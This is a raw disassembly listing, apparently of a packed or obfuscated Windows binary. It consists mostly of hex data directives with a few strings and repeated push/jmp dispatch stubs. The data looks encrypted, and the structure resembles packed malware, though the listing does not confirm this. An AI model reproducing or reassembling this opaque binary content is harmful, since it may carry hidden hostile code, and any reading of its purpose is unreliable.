44810424h, 1B0424h, 56460000h dd 217CDDC3h, 4C549212h, 0D9B70F5Dh, 12A5BD83h, 0F000613h dd 4985h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 83BC564Dh, 131F95BDh, 840F0006h dd 43h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h dd 91C35343h, 55E931B6h, 0F000003h, 0D2B7h, 0E8600000h dd 6, 0A44B3F77h, 0BB663C24h, 8B5AFFD3h, 0F6BB61D3h, 0A31A16C2h dd 0F38AD01h, 0DCAB29B2h, 0C5AB405Ch, 21F463B4h, 55D7CAEBh dd 9CEFC2B0h, 5CAB59B0h, 0EDFC04B4h, 139CCCCEh, 60B1CE6h dd 0D3EFC031h, 0E2BBABB2h, 36A143B4h, 0AD292CC7h, 719FCE70h dd 0C49D944Bh, 9CCD280Ah, 5B541964h, 2DF943DEh, 0E2AB43B7h dd 2B681994h, 0BC8F173Dh, 588F0735h, 2EAB43A8h, 0C6811F6h dd 7CB36952h, 0D172AD79h, 0B909534h, 71AB4739h, 0B04223D4h dd 0F1AB43B4h, 18066062h, 18311794h, 8BAB433Bh, 0DC1422B4h dd 83B06E5Dh, 71ABABE1h, 39F643B4h, 4438B759h, 4E78C8B2h dd 76CB9B34h, 8BC1833Fh, 0C5A8ABE3h, 0BD8B43B4h, 0D221C77h dd 0FC2A4790h, 5CB04790h, 79EC43B4h, 4D008977h, 37E7460Ch dd 0C5A1AADAh, 683143B4h, 0C9B7C81Bh, 1BBD7053h, 3FEF8D2h dd 97CD23E4h, 1942E420h, 0A7AB43B4h, 0FD4451B8h, 291BF83Ah dd 33203690h, 0BC222286h, 0D7CD1090h, 2FA41965h, 9C5567F8h dd 8BC11B63h, 0C5A8ABE6h, 0B88B43B4h, 25221977h, 0FC2A4790h dd 5CB34790h, 7CE943B4h, 863FB777h, 87AED13Ah, 0CAAB43B6h dd 0EA20940Bh, 71A2ABE5h, 541443B4h, 0E51C90E8h, 487C293Ah dd 0A173A935h, 8D4219EEh, 5AAB43B4h, 915B41BAh, 39202592h dd 632B2348h, 8C2025FFh, 9656C9D5h, 17AB43B5h, 63FD43DEh dd 0C5AB43B7h, 0BC681D94h, 758F373Dh, 0BC8F0735h, 5CAB43AEh dd 8B6815F2h, 0ABB07F7Ch, 63FAEE1Bh, 0C5AB43BFh, 0C83363Fh dd 6F62923Ah, 0A9310BAh, 0B5F019E4h, 2EAB43A5h, 0D626683Dh dd 219ABCC3h, 53F88F4Ch, 23B4E265h, 0EB70C2A5h, 29BD2BDCh dd 922025D4h, 0D51025D4h, 767DF625h, 62CB13D5h, 0C5AB43A4h dd 0EDC7A9F8h, 0BCAA7EECh, 157977Ch, 0F6AD11E1h, 76CA23E3h dd 17C1D2D5h, 8BA8ABE7h, 9E8B43B4h, 0BE221877h, 352A4790h dd 0B8B34790h, 0FE843B4h, 59617677h, 1F435C8Ah, 81AB43B4h dd 0F2C95ECBh, 0ED0044B5h, 17F0900Bh, 0B8C19A38h, 5CA8ABE6h dd 748B43B4h, 43221977h, 0CF2A4790h, 0C5B24790h, 0B0E943B4h dd 28C64477h, 4E733C6Bh, 0D9A44775h, 2EAB4366h, 1142943Fh dd 1AB43B4h, 0F0144000h, 0E9421AFFh, 0BAAB43B4h, 185B9A36h dd 7FE3E824h, 172B4E4Bh, 0DC2E4CDCh, 0BAB43B4h, 0BC20436Ah dd 0B0AB29B5h, 71AB405Ch, 7BF163B4h, 78FFCAEEh, 0AEFC2B0h dd 17AB56B0h, 48F901B4h, 0D4423A14h, 0AB43B4h, 0FB174B5Bh dd 764C0E65h, 3967554h, 0F767FDD1h, 17ABBC35h, 9A4C3B4h dd 0C5AB4332h, 0AF943DEh, 71AB43B7h, 0E2681994h, 588F173Dh dd 2A8F0735h, 17AB43A3h, 0E96811F6h, 2C4BD75h, 0FA380331h dd 71AB42B2h, 959C3B4h, 5CAB145Dh, 28214CB4h, 96AB43B4h dd 3F820277h, 0C5EFAAC9h, 0E2C143B4h, 71A8ABE5h, 0E18B43B4h dd 10221A77h, 6A2A4790h, 17B74790h, 0DAEA43B4h, 92DAC977h dd 28350C4Eh, 0FAF2EDD6h, 0C1282565h, 0D8A4BCBFh, 2EAB43A6h dd 1E38A935h, 0E6C2743h, 0C3B3D0F4h, 0E2AB43B5h, 8DE3EF06h dd 58A8980Dh, 0F22ECE83h, 0A3AD5B2Ch, 0F3DED09h, 0FF5378B2h dd 14A473B3h, 1740047Dh, 99FD43DEh, 0B8AB43B7h, 2681D94h dd 2A8F373Dh, 138F0735h, 8BAB43A9h, 0F66815F2h, 74311A9Ah dd 7E7A1FFEh, 67202543h, 0B4F843DEh, 2EAB43B7h, 4C681894h dd 8F8F1F3Dh, 0C18F0735h, 0E2AB43A2h, 0BF6810F7h, 50CB262Bh dd 5CAB43A7h, 63624D40h, 5C7068FBh, 0C06CC7E4h, 0F8D320B8h dd 84CA7755h, 2B9B820Ch, 0B8BFC0BBh, 534243B4h, 7AB43B4h dd 29C62988h, 1CDF1501h, 36960198h, 61CA15A7h, 62BC7E09h dd 3CA442B2h, 5CAB4338h, 8A59C2D2h, 11224CF5h, 0AAB43B4h dd 0B7A6B26Eh, 4716C096h, 71AD50A6h, 0B8C5C6BBh, 5CC143B4h dd 2EA8ABE4h, 4F8B43B4h, 0CF221B77h, 812A4790h, 0E2B24790h dd 21EB43B4h, 6668F477h, 0DC1BC6B9h, 0C82BC673h, 8216C0A9h dd 8BAD50ABh, 0C5FAC7BBh, 0E2C143B4h, 71A8ABE7h, 0E38B43B4h dd 221877h, 6A2A4790h, 17BE4790h, 0D8E843B4h, 2C927777h dd 0E2AB43B2h, 0C1C8C798h, 0B5426497h, 0BAAB43B4h, 49CD5F6Dh dd 0C12DCB24h, 1D54A562h, 0C5ABD75Dh, 0E2A7ABB4h, 2EA743B4h dd 8F208BCEh, 0FBE58684h, 0ADF09064h, 4BC7E09h, 0EA442B2h dd 0C5AB43D3h, 0AFD43DEh, 71AB43B7h, 0E6681D94h, 588F373Dh dd 2A8F0735h, 17AB43AFh, 0D86815F2h, 0BF6F6FF5h, 69B38F7Bh dd 141C1E6Ch, 5157C977h, 5CAB43F1h, 0C6F943DEh, 17AB43B7h dd 0D1681994h, 0C18F173Dh, 0E68F0735h, 71AB43A9h, 816811F6h dd 82D0B0B1h, 0CE649D41h, 1B254C95h, 84AB43B4h, 0C5AB4539h dd 7778C2B4h, 2CE3B0F5h, 68144CE2h, 0D9A48CEEh, 2EAB43B5h dd 4A16CE4Ch, 6AD5B27h, 0DD333839h, 0BEB6FBB2h, 0F498388Eh dd 0BEB854B9h, 0D6A8C9Fh, 8358A898h, 2CF22ECEh, 9A3AD5Bh dd 0B20F3DEDh, 0B3FF5378h, 7D14A473h, 5E98304h, 0BD83A4F3h dd 6189340h, 8D0D7400h, 134F8D8Dh, 1B806h, 0E1FF0000h dd 50006A40h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0F45D6EC7h, 0C9EB927h, 860FA844h, 0Eh, 6E850h dd 448A0000h, 4DDE831Eh, 0D88B5B5Ah, 6A2DE883h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 645FC350h, 0C370B4A1h, 0FC70F21h, 584h, 0A73BBA00h dd 0C08B4AC8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 15C35545h, 0F596949h, 58Ah, 6A2ABB00h, 0BA662897h dd 0BD834CAEh, 6131625h dd 83097500h, 132C81BDh, 19740006h, 0C08B5350h, 3FCB8h dd 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h dd 6132Ch, 53501774h, 3FCB8h, 15858900h, 8D061331h, 15A6859Dh dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 60C9CD08h, 2BDE8166h, 8E823h, 4FCF0000h dd 2DB8B21Dh, 0C28176FBh, 7EFA2A3Bh, 0D88A615Fh, 7E9h dd 4C5F0E00h, 504F4CFEh, 9785BB66h, 8D8DC08Bh, 6189AB8h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 74C35141h dd 970E9A21h, 14E93F16h, 0AA000000h, 0F6DCEF76h, 2597738Fh dd 605B395Dh, 0F677F22Ah, 89D8AB80h, 131BBD8Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0C8E699DBh, 0C7F6BF0Fh, 1318DD85h, 5CE406h, 0E1858900h dd 0C706130Bh, 13305585h, 6, 5E800h, 3D6C0000h, 8963ACCDh dd 1325D985h, 0B5FF5B06h, 6132101h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 2AC35242h, 9D094872h, 6131131h dd 1D8995FFh, 0EE800613h, 9958983h, 6A06131Eh, 0A995FF00h dd 8B06130Dh, 4138EBC0h, 9565247Bh, 18BFF09Eh, 0CB185E72h dd 8FB20A4Ch, 2E4BD9FFh, 0E65ED801h, 8CF65BF7h, 0C6F8546Eh dd 1C8D1CEEh, 0BEAC92DAh, 0E98A8435h, 0DF25C916h, 801BB06Bh dd 0E951A426h, 15Ch, 4DD6EB47h, 86EB6FECh, 4E174B9Ah, 9CA5FB4h dd 50C151B9h, 9C251B9h, 50C95F33h, 39E276CFh, 50B023A6h dd 0D24B7718h, 9E4FC364h, 50F7B198h, 5086130Dh, 128h, 0 dd 4, 2 dup(0) dd 33h, 0 dd 8, 0 aSystem db 'System',0 aProcess db ' Process]',0 align 10h dd 3Ch dup(0) ; --------------------------------------------------------------------------- jmp loc_5D750F ; --------------------------------------------------------------------------- push 6189E55h jmp loc_590A54 ; --------------------------------------------------------------------------- push 6189F48h jmp loc_590A54 ; --------------------------------------------------------------------------- push 618A015h jmp loc_590A54 ; --------------------------------------------------------------------------- push 618A0D1h jmp loc_590A54 ; --------------------------------------------------------------------------- push 618A263h jmp loc_590A54 ; --------------------------------------------------------------------------- push 618A3A1h jmp loc_590A54 ; --------------------------------------------------------------------------- push 618A475h jmp loc_590A54 ; --------------------------------------------------------------------------- push 618A539h jmp loc_590A54 ; --------------------------------------------------------------------------- push 618A711h jmp loc_590A54 ; --------------------------------------------------------------------------- push 618A817h jmp loc_590A54 ; --------------------------------------------------------------------------- push 618A8B4h jmp loc_590A54 ; --------------------------------------------------------------------------- push 618A952h jmp loc_590A54 ; --------------------------------------------------------------------------- push 618AB0Eh jmp loc_590A54 ; --------------------------------------------------------------------------- push 618AFDFh jmp loc_590A54 ; --------------------------------------------------------------------------- push 618B0ABh jmp loc_590A54 ; --------------------------------------------------------------------------- db 68h dd 0CFC31D92h, 630F713Eh, 0D4C02289h, 570B753Ah, 3BB257Ah dd 47587913h, 0DDCE2959h, 2F7C8F03h, 0E4C72151h, 0A028F0FEh dd 428C7434h, 91010704h, 0ACA7317Ah, 0E4CAE3FBh, 79372DA6h dd 11814758h, 0C802AFF0h, 0A506E232h, 2B80586Ch, 359F272Bh dd 3449434h, 0FDE937C1h, 34077119h, 0B3F54494h, 3451C343h dd 0F5274494h, 0B5700AE3h, 2A7EC941h, 0F40C3EA1h, 9C6D14A5h dd 0E8066E85h, 0BCD001C7h, 0BD79AC44h, 80F0F961h, 48CBA871h dd 3C15h, 0A5253100h, 0BD79A433h, 1241D709h, 9B2B48D2h dd 4494E829h, 2B2BDD1Fh, 0E8359F27h, 0C1034494h, 0F0E75F37h dd 0CE3EA1BDh, 0FF65579Ch, 0EABD783Ch, 0F8077744h, 9E48CA24h dd 0E8h, 4A617777h, 5A646CEh, 0E7ECEECCh, 66ABF4DDh, 0E256F6E2h dd 0DA4494E8h, 0E60292A8h, 18FC0CC5h, 94E80470h, 28B2F444h dd 88690CECh, 4EAF3E31h, 9751FDFBh, 7EFB6F51h, 0C8449465h dd 5D057B30h, 9583307Bh, 2DCBD4FDh, 0B0B2640h, 0A1A5907Bh dd 0EE0E863Eh, 0F4B614BDh, 0C781004h, 5CBD7986h, 7FA141E1h dd 0D4F538Ch, 3E48950Bh, 888303F3h, 2C74DC4h, 484F7692h dd 0E5040030h, 0B515BE0Ch, 0B99DDF23h, 0F9E7B819h, 32376889h dd 70FE7599h, 32BCBDE6h, 0CC000013h, 731F812Eh, 0B7AB159Ah dd 681C8625h, 0BBA71996h, 0A7178916h, 0B3EC15B7h, 6942A5CDh dd 0BBF00B77h, 703B9DC5h, 34D4BC12h, 428C76C0h, 7782CBB8h dd 0B6275F5Ah, 50A95C41h, 8D35F1FBh, 73351A95h, 2883650Dh dd 22C64EBAh, 0C1F2B953h, 1A39BF09h, 79DD48D2h, 0A1BDEAD1h dd 54F4D83Eh, 0BD783CE0h, 3C68DC6Ch, 1E60BD78h, 0DECD2EA6h dd 9735DE2Ch, 0BD783C21h, 0E5551E3Ch, 48CA24D6h, 0B67Ch dd 17FB4900h, 94E8056Fh, 27B1F344h, 759E0DEBh, 0F41D825Fh dd 94E59BD8h, 8243A544h, 3B6670C8h, 0F9E721B5h, 4962850Dh dd 0A5423288h, 0EBEDCD06h, 995A51A7h, 0B123A3AFh, 87BB6BDFh dd 90AAC355h, 2629A195h, 14C15EE9h, 45DFF0D2h, 3A6A6EEAh dd 4EE743D7h, 0E22AB06Ah, 0C74CC91Eh, 24ACACDEh, 9400E2BDh dd 7439326Dh, 0E970FE52h, 123FCBBEh, 2BBF0000h, 97761E84h dd 22BAAA18h, 936B1789h, 13BEA61Ch, 0B4AA168Ch, 0FCE6B918h dd 463C6F88h, 94EEBD1Eh, 3DA308E0h, 0F55FE7AFh, 0C3428C77h dd 5A777FC6h, 3291D145h, 83609ADFh, 382C7684h, 7738D5A0h dd 77644F31h, 0FB894A61h, 80F4CEDDh, 0B7E8096Ch, 0C90AC0FAh dd 348E1DBBh, 0A0BAAB4Fh, 0D859185h, 7F15BEF1h, 708A406Fh dd 0A1FA451Ch, 1D81C33Eh, 0F637F66Dh, 0D4253F17h, 0C038722Dh dd 0C34D3D48h, 8963CB3Ch, 3070E822h, 38DCB4AEh, 0CAE1FA59h dd 46D9FA00h, 8505F13Ch, 0C2D0824Ch, 8728C64Eh, 67CF1171h dd 68E811E7h, 1DDD1689h, 0ADFA3BADh, 19CF11B2h, 0A81DBBA7h dd 0C0E402B6h, 59529821h, 7361689Eh, 72912813h, 8C000011h dd 335F416Eh, 77EBD5DAh, 285C4665h, 7BE7D9D6h, 67574956h dd 0F3AC55F7h, 0A902E58Dh, 0FBB04B37h, 0B0FBDD85h, 7414FCD2h dd 428C4800h, 77C20BF8h, 56894A61h, 55F561CCh, 3EA1FA66h dd 9E362264h, 8A40713Ah, 9EC63270h, 9E95C1Dh, 0B3DFF991h dd 829D5655h, 0C9E6F7F8h, 0F8B208h, 413D2688h, 0A890D2C7h dd 0E5DBD028h, 996A5B7Dh, 0B72B8544h, 3D2C8509h, 0FACCBA5h dd 7D0718D9h, 1D1745CCh, 93557A95h, 50AB23A3h, 5B8DCD7Eh dd 169573DBh, 8B20B8ACh, 36D6C246h, 0A92E60C2h, 7D7288BAh dd 38D048E3h, 0D31B408Dh, 0B7F4137Bh, 810AC0FAh, 64CED1C8h dd 0B64F6A55h, 48000010h, 0EFA3FDB2h, 432F911Eh, 0F4A002A9h dd 372B951Ah, 239B059Ah, 67389933h, 0BDEE0979h, 4F5CAFE3h dd 0C4E70171h, 800810DEh, 428C4814h, 779EE7E4h, 0AB5B455Ah dd 51ADC823h, 9367AC5Eh, 53DE6885h, 1A916BE3h, 0D06A419Ah dd 0A444CCC8h, 0EAF0CA07h, 0A1F73FA2h, 585913Eh, 0BD780193h dd 61A13769h, 6E2F21Fh, 43CB3BA5h, 9CF802A9h, 0AD426F3Ch dd 28A09893h, 0C74D1D0Dh, 5B08C9FBh, 6A8EE6F3h, 0F48E5F41h dd 0B755BD39h, 255ECA42h, 0FC2EB74Dh, 0DC6C2CAEh, 0CD783A61h dd 0F55FE7EBh, 0C3A9525Eh, 0D90B7781h, 5F4CAC18h, 0F6C373B2h dd 6D8E6FF9h, 7335953Eh, 41980383h, 62F2D367h, 0DED2685h dd 5B45770Bh, 0ADC823ABh, 90AA604Bh, 0AC7E404h, 27660A72h dd 764303A3h, 0D4DB32A2h, 0CF2ACE46h, 2766CD37h, 3F89BBA3h dd 0D4D73161h, 0BB76101Fh, 7635D33Bh, 24CDDEFEh, 0C44454E6h dd 0D9124A79h, 0BEE3BDFFh, 0B9740E79h, 1979CD3Dh, 0CD0FDF0Dh dd 8E56D69h, 27B123A7h, 1F879F13h, 0D931E2C9h, 359F270Fh dd 39F1327h, 77E737C1h, 0C5D1455Ah, 1327D345h, 0AB41A99Fh dd 2330CA00h, 0A20EED35h, 49167316h, 55E55BAFh, 344E9F13h dd 7895FDF9h, 5C3EC01h, 2CECEECCh, 2CC2F828h, 0E3843D78h dd 8141B555h, 537E52Ah, 44678111h, 0DC48C0D4h, 0AC91FBBFh dd 5242607Ah, 8E7C0FB6h, 8DECBB4Ch, 0C32E965Bh, 9904CFDCh dd 86B15296h, 0F24F3h, 0AF00DA00h, 634CA1D1h, 0B4F7157Dh dd 6748A6CEh, 0B7E80979h, 0EB61D5C9h, 3B279906h, 0C1B10F9Ch dd 731F812Ah, 12AC1695h, 4A6ADE6Eh, 6562428Ch, 455A7718h dd 0A4D1275Bh, 4EAC654Ah, 8B6D579Ch, 3CDAF320h, 0AA01D72Fh dd 0F0853438h, 0BF4FB126h, 17797F2Ch, 167h, 986177ECh dd 94E884F0h, 47648444h, 12BF093Bh, 0F3936682h, 4494E881h dd 93834577h, 0E89D077Fh, 396B4494h, 0D26C819Fh, 0DC67DF57h dd 0AA3EA1F6h, 0DB413B78h, 0C6BD7802h, 7875B68h, 0C2F8B9F6h dd 635C438h, 425948CAh, 6D000000h, 352E5F35h, 0F612B732h dd 0EEE5F3B5h, 9B2B48D2h, 4494E829h, 16F5DD1Fh, 6C9E5C95h dd 6BB8E8ECh, 62824FA5h, 7FE8EACh, 53EA18Ch, 67E0EC3h dd 23BD79ECh, 0FBE2E3Bh, 5348CBF4h, 0B3h, 4A617700h, 0C9D6FB89h dd 4F5C7C08h, 0E95BEBE7h, 0DF4494E8h, 0DC158A67h, 54EEC1Eh dd 5032798Fh, 94E55F1Ch, 0B60FE944h, 367D7019h, 42B6F4A2h dd 54702FD2h, 54B286A0h, 881A2018h, 16022D37h, 5F9F1476h dd 66D214C1h, 269C03EEh, 7F0C933Eh, 77119AB6h, 0E649406Bh dd 1800000Dh, 0DF93EDC2h, 533FA10Eh, 0E490F2B9h, 473BA50Ah dd 138BF5AAh, 5748A923h, 0CDDEF969h, 3F6C7FF3h, 0D4D73161h dd 9038E0EEh, 428C4B24h, 77EE1714h, 81F3935Ah, 774494E8h dd 7F938345h, 0E881F393h, 45774494h, 94E8D345h, 0FB77A944h dd 0B307CCE3h, 7187FB25h, 775D483Ah, 46CE4A61h, 0F1C90AA1h dd 0B5436C81h, 0DBD0289Ch, 505B7DE5h, 37F28CA3h, 0F03847BFh dd 94D63EA1h, 7953B2Eh, 0FBFA0000h, 0A7A379E3h, 0A7AE5655h dd 0BF53E5F7h, 38547D22h, 449477C0h, 2216112Bh, 6C339E36h dd 0ECC03ECEh, 86B83EADh, 0C6E50292h, 0EC4EBA52h, 0C3EBD7Ch dd 4EAA2AEEh, 7F93835Dh, 7CEC9D07h, 9F396BBDh, 0DD169573h dd 14950AE7h, 770F6D2Bh, 12A21700h, 0EC00000Dh, 533FA10Eh dd 0D78BF5BAh, 483CA605h, 0DB87F9B6h, 8737A9F6h, 930CF597h dd 9A2452Dh, 9B10EB97h, 109B3D25h, 0D4741CB2h, 428C4C60h dd 77226B58h, 41D1455Ah, 0ABF503ACh, 498A21B7h, 2A0E9D3Bh dd 8851B6FAh, 0B0D44B3h, 8F20BEC6h, 149B7262h, 9619F5DFh dd 3153203Eh, 0FBCF9C3Ah, 8D357A93h, 0BA79406Bh, 42D2686Dh dd 0CF9B05A6h, 0B1263020h, 0D66h, 146F1F00h, 484494E3h dd 0FFFDC441h, 96F10FFh, 624494E8h, 61E94DD8h, 3EAD73C5h dd 0D8571B3h, 36E2C0EBh, 8D3EAA22h, 0DC0EBD73h, 7932D63Eh dd 0B6F9157Dh, 889219BEh, 2198394Bh, 3537AEB5h, 2A9F69F0h dd 770E8C27h, 4E8E2B14h, 0B000000Ch, 0F76B555Ah, 0ABD7C9E6h dd 0FC685A51h, 7FF3CDE2h, 6B633D62h, 1F8061FBh, 7536D1C1h dd 2784570Bh, 7C2FC9B9h, 38D0B806h, 428C4DCCh, 7786CFBCh dd 0B6F91461h, 33D5BFF4h, 3E423B78h, 0AA4237D6h, 0B0FAD001h dd 0AB31C703h, 9A2469Eh, 0F024D397h, 206AB126h, 1B000000h dd 94E3146Fh, 0B2F91244h, 65E000F8h, 0F80A0528h, 0A41BF410h dd 0E4873AF7h, 0FD0BB356h, 0FB82FFFFh, 81327993h, 0A4BEAF49h dd 0D2FD8D89h, 483EA1F7h, 78DFDD16h, 63BD7800h, 4F7EEEFBh dd 1348CA04h, 1B2h, 0E8596FC0h, 0EA0D4494h, 439D0EEAh dd 6A0CB94Fh, 973C7808h, 0CFED26E4h, 4494DCF1h, 8FEA3ADEh dd 0DAD98FE3h, 0D09943D5h, 554B6078h, 842DF088h, 5A7DF810h dd 0A06AA051h, 0F5B65242h, 0E7C8C0BCh, 75D54494h, 0E2CDFC6Ch dd 6391B126h, 85000001h, 58C0EB0Dh, 94EE44B0h, 0E8F23444h dd 4A6177EDh, 98DDFB89h, 3FA16744h, 5FB394AEh, 0A96A31C6h dd 0B656C208h, 3EA15E63h, 636FE719h, 797A71E3h, 31547BDh dd 7A46BECEh, 0FB63BD79h, 7E4F7EEEh, 0F99948CBh, 7B09CAE5h dd 65A54E5Dh, 48FB95A3h, 0C8000000h, 9B2B48D2h, 4494E829h dd 0D179DD1Fh, 4494E867h, 61D51355h, 0A1BDF2E9h, 7F58D03Eh dd 5A9718F6h, 0B8A06AA0h, 28E9C618h, 710B48D2h, 0BD783C0Bh dd 0BB2B3816h, 48CA240Ch, 55EB88D8h, 0D3661BEFh, 0B0CB45h dd 77780000h, 0FB894A61h, 7C08C9D6h, 0B6A24F5Ch, 0C1F2B91Eh dd 45A3EF09h, 0EB007C66h, 0A94494F0h, 0E95B5379h, 0DFF95309h dd 6C5655B3h, 1CACC953h, 0BB6B98A8h, 0ACAC5EA0h, 5F37BE1Ch dd 9088BAC1h, 0E4BEE100h, 5D4E51B0h, 7711325Eh, 7669604Bh dd 8800000Ah, 2F633D72h, 83EFD1DEh, 34604269h, 77EBD5DAh dd 635B455Ah, 277859F3h, 7D2EC9B9h, 0F9C6F23h, 8427C1B1h dd 40C8D01Eh, 428C4FD4h, 775EA7A4h, 91D1455Ah, 0BECE190h dd 982784A0h, 0C9B9E7F1h, 0D642CA2Fh, 0A644946Ch, 0A6B2A664h dd 946CB226h, 0E0588A44h, 946CFC68h, 809ACC44h, 93FBB322h dd 4C7E3378h, 0DEFCAF48h, 985952B6h, 1DFCC2Ch, 42E86h dd 17FB4F00h, 94E8056Fh, 0E1865344h, 0BDC987CAh, 2C7583C5h dd 2B351Ah, 21277018h, 0ED653EADh, 0EA9AA00Bh, 1D2040B8h dd 0EDFCCD62h, 8754CC4Eh, 46C632FDh, 0C746CEFBh, 75150115h dd 0B7470E03h, 51C3C7F9h, 27B7470Eh, 5D9FE3F5h, 0EA018B4h dd 9DBDB747h, 7E9000D4h, 0A453A731h, 0EA42F50Ah, 38Fh dd 0E8096F9Bh, 9EFF4494h, 0C34494E8h, 28A6EB9h, 0C15E126Bh dd 20DD3199h, 780A3CA8h, 10DA0CBDh, 4BCCD1DAh, 0B6E17714h dd 970C3h, 436C8E00h, 0D7D8355Dh, 486379E9h, 0DBD42A5Ah dd 4B547DE5h, 57F56955h, 0C7BB257Ah, 5D057B30h, 1F532D7Eh dd 0EE00E2C9h, 4036A22Ah, 906428Ch, 7A93FBBCh, 0DA856E4Fh dd 3278CBECh, 1F8C6CA8h, 8233DF2h, 745A7810h, 94D63EADh dd 0AC87A12Eh, 1F821CACh, 3476C74Ah, 0AB4CC4h, 382AEAA2h dd 8495B75Ah, 0B2553DA3h, 2CCCB8F9h, 839D527Fh, 8D18B0A8h dd 0FCD6F3Dh, 0F4096C7Fh, 6C4F6BBh, 97EBEDCDh, 23D0DF2Fh dd 5B239535h, 0E719A92Fh, 0E5E2E721h, 0FA6AE31Ch, 8D3B8D1h dd 0CF2B0000h, 7B9202E0h, 0C6264E34h, 7787FBE5h, 0B71A4A38h dd 50C6FAE8h, 188A15BCh, 0C2208B6Ch, 107239D2h, 0B9278464h dd 79EB5B23h, 4F428C40h, 48D22B52h, 0E8299B2Bh, 0D92F4494h dd 5A90D2D2h, 73D06EDEh, 76A83EADh, 0DFFE9682h, 8D3AAE1Eh dd 0D012BD73h, 7394001Ah, 0BD1A4A38h, 102AC5EEh, 34A00FDFh dd 0E921D2CDh, 738F371Fh, 0EDC74A16h, 0AF573BBBh, 0B75A2245h dd 8202A943h, 8699BA40h, 0D1C531FCh, 5A22CF39h, 6D8BBDB7h dd 2C4621A9h, 72B4CD6Fh, 0E32CE0F9h, 0A7220D6Ah, 835h dd 247E31C9h, 0B0129D70h, 1D8328C4h, 0AC169975h, 1C8619B8h dd 0B71AB2A4h, 6D8AFAE8h, 0DB30643Eh, 6682F2D0h, 7D815B45h dd 8C419B0Dh, 49747142h, 0F3146177h, 0D3C1F2B8h, 403D7635h dd 7639D43Ch, 0E17B7D3Dh, 436880D8h, 0ECEE1D5Dh, 0D4B4B126h dd 61000001h, 0ED1AE3FBh, 6E81CE56h, 2EF9836Ch, 5FDF42CAh dd 0A1313EA1h, 4EAC6546h, 0C05BD6B6h, 6B6DBC23h, 902CE517h dd 0BD79C628h, 784C1535h, 67ACFFD8h, 0C6F58593h, 8C48CBC2h dd 197h, 4A617739h, 0F90F7F89h, 0CEC28B2h, 3DD5419Fh, 0AC03DB9Ah dd 0E1559367h, 94E8FF69h, 7D9BCD44h, 0DB5BD670h, 0A1F6D86Bh dd 0A546AE3Eh, 0BE14DE06h, 0F8AE572h, 3CA418D9h, 1CBD7895h dd 0D0C4EDC2h, 48456E31h, 409FC18Ah, 0D2E1511Ah, 0FE48CA91h dd 793A7196h, 4259B741h, 2A000000h, 50A748D2h, 0A664965Bh dd 0BD231AB2h, 0F9213EA1h, 327DEABFh, 46B2F827h, 797F30CEh dd 0C3FC6458h, 0FFDCBD78h, 745D67ACh, 8F2FE62Bh, 1941A0C2h dd 0DBD1E050h, 0CE7548CAh, 91000000h, 37C1EA01h, 4A61771Ch dd 0C9D6FB89h, 8728C54Dh, 0DD04704Ah, 1FB911C2h, 6546A232h dd 0EBC018ACh, 6A8111F5h, 0A03A9041h, 94ECBF6Ch, 5C4FA944h dd 179474DCh, 0D6863ADAh, 94940C38h, 915EC456h, 54BC3CF7h dd 36E2F8B3h, 5F6C3496h, 140C34C1h, 0F4AACE56h, 0D0CF32A2h dd 4BB61E1Ah, 0C066666Eh, 0AC064D0h, 82E7D60Eh, 0B8F9366Fh dd 0BFB2230Ch, 0AE4C3242h, 0CE10074h, 7D92087Ch, 5ABE00BDh dd 7D9246B2h, 0B6F436BDh, 10E38EB5h, 0D9F0DB77h, 679h dd 584A6585h, 4DED12Ch, 512F7C90h, 0E2CD21h, 50326D94h dd 836EEE60h, 19BEA61Ch, 0A7443092h, 12F69E04h, 0F1952799h dd 8C43EF59h, 0A5F0DD42h, 5B455A77h, 0E8DAD127h, 4A6177BDh dd 0D642CACEh, 0A64494E8h, 0E054F464h, 0D84494E8h, 553F94A6h dd 23CE46B3h, 0E884F07Ch, 32744494h, 0F8108078h, 2ECCFEB3h dd 3D75F4h, 863C0000h, 9D5EE88Fh, 0B99D6B34h, 6326859Dh dd 690A630Eh, 7E9D3BCFh, 699B3EADh, 0C3A81C75h, 0A8A6EB9h dd 0B614BDEEh, 35D47424h, 33C74A01h, 708D05F1h, 0A238923Fh dd 4B0B7Eh, 0D2CA0000h, 5A51A748h, 9D20A890h, 5B3EA1C4h dd 7BD4E829h, 8D1C2A5Bh, 7B0502CFh, 0C44C48B0h, 0BC4C852Ah dd 7803D84Ch, 3C6EB0BDh, 2FD36E9Eh, 0C5A9C74Dh, 4D2FD345h dd 3177A9B7h, 0CE184Fh, 381C0000h, 4D2F2490h, 48D214B7h dd 0DD48D20Dh, 10942979h, 891F3708h, 971FA76Fh, 613EADEFh dd 0BCE7371Fh, 0E5985C12h, 0A06A419Ah, 0F7ADC69Ah, 0FE6E7BD9h dd 48CE21CFh, 8793h, 48D24000h, 795D79DDh, 94E867D1h, 0EF135544h dd 30F13E17h, 0D438C226h, 3EAD4A43h, 324BF335h, 74AC6482h dd 0F871E1A1h, 7EE0FA65h, 0DCF60575h, 519C48C1h, 69000000h dd 0FCF748D2h, 3B173CE6h, 0EA389CABh, 50AB543Ah, 0E3869E9Ah dd 7BA75334h, 0FD8D898Fh, 3EAD53DFh, 1A732B5Dh, 1E8D6AAAh dd 0BB0EDFF5h, 0CE53846Dh, 71A26830h, 7FA1AA50h, 55F5E135h dd 0BD735DE3h, 0CB91A7D9h, 597F8EFEh, 0D2348C1h, 0F0000000h dd 94F4F46Fh, 0F4616844h, 30FFFFFEh, 9F748D2h, 0E37A2F14h dd 385ECA42h, 0FC2E4494h, 8A21C6AEh, 0C230D840h, 0BE3EADA3h dd 8E98478Ch, 0F413B3A3h, 72C74546h, 729A0E7Eh, 3072B75Bh dd 9CA6397Ah, 0A925A591h, 8FCD62E9h, 54B9E94Dh, 35A06820h dd 56BEDA60h, 358AF8B7h, 